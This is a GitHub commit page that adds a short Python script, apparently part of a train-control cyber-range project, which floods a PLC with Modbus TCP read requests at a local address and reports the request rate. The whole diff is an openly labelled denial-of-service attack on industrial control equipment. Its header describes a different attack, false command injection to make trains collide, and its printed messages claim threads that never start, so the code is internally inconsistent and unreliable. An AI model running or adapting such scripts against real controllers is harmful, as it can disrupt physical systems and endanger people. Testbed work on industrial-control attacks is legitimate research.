Skip to content

Commit

Permalink
Added the PLC DDos attack script.
Browse files Browse the repository at this point in the history
  • Loading branch information
LiuYuancheng committed Oct 6, 2023
1 parent b363fb7 commit c85da0b
Showing 1 changed file with 34 additions and 0 deletions.
34 changes: 34 additions & 0 deletions attack/ddosAttacker.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
#-----------------------------------------------------------------------------
# Name: false command injector.py
#
# Purpose: a false command jection attack program to send the false train
# detect sensor off and then control the train to collision.
#
# Author: Yuancheng Liu
#
# Created: 2023/10/02
# Version: v_0.1
# Copyright:
# License:
#-----------------------------------------------------------------------------

import time
import modbusTcpCom
count = 0
hostIp = '127.0.0.1'
hostPort = 502

client = modbusTcpCom.modbusTcpClient(hostIp)
print('Try to connect to the target victim PLC: %s' %str(hostIp))
print('Start PLC read request thread')
print('Start pLC write request thread')
timeVal = time.time()
while not client.checkConn():
count +=1
print('Try connect to the PLC')
reuslt = client.getCoilsBits(0, 4)
if not reuslt: print("connection rejected")
if count == 100:
timeInt = time.time() - timeVal
print("PLC request sending frequency: %s" %str(100/timeInt))
timeVal = time.time()

0 comments on commit c85da0b

Please sign in to comment.